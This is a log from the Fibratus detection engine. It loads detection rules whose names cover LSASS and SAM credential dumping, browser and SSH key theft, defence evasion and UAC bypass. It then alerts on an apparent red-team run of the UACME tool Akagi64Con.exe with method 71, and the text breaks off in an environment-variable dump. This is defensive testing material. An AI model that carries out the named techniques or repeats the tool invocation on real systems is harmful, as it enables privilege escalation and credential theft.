+time=2025-12-05T15:59:08+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:59:42+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:59:42+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T15:59:42+01:00 level=info msg=bootstrapping with pid 1976. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:59:42+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ enabled=>false to=>[] port=>25 use-template=>true content-type=>text/html] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-audit-api=>true enable-handle=>false flush-interval=>1s enable-vamap=>true enable-mem=>false enable-thread=>true min-buffers=>16 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-threadpool=>false enable-dns=>false enable-fileio=>true buffer-size=>512 enable-net=>true enable-image=>true enable-registry=>true max-buffers=>36 stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-backups=>15 log-stdout=>true max-age=>0 max-size=>100 level=>info] + output ......................... [ console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ enabled=>false level=>info] amqp=>[ enabled=>false delivery-mode=>transient url=>amqp://localhost:5672 durable=>false routing-key=>fibratus tls-insecure-skip-verify=>false exchange=>fibratus exchange-type=>topic timeout=>5s vhost=>/ passive=>false] elasticsearch=>[ trace-log=>false flush-period=>1s healthcheck=>true index-name=>fibratus sniff=>false gzip-compression=>false bulk-workers=>1 template-name=>fibratus timeout=>5s healthcheck-timeout=>5s healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] enabled=>false] http=>[ enable-gzip=>false timeout=>5s tls-insecure-skip-verify=>false enabled=>false method=>POST endpoints=>[] serializer=>json]] + pe ............................. [ read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-allocs=>false fastscan=>true excluded-procs=>[] skip-files=>false scan-timeout=>10s skip-mmaps=>false skip-registry=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:59:42+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:59:45+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T16:00:07+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\AxImp\ca4a65a92bd27aec24b76530261ae608\AxImp.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 10966809 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:50.8063013 +0100 CET + Params: base_address➜ 7ffcd6700000, checksum➜ 0, default_address➜ 7ffcd6700000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\AxImp\ca4a65a92bd27aec24b76530261ae608\AxImp.ni.exe, image_size➜ 90112, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program 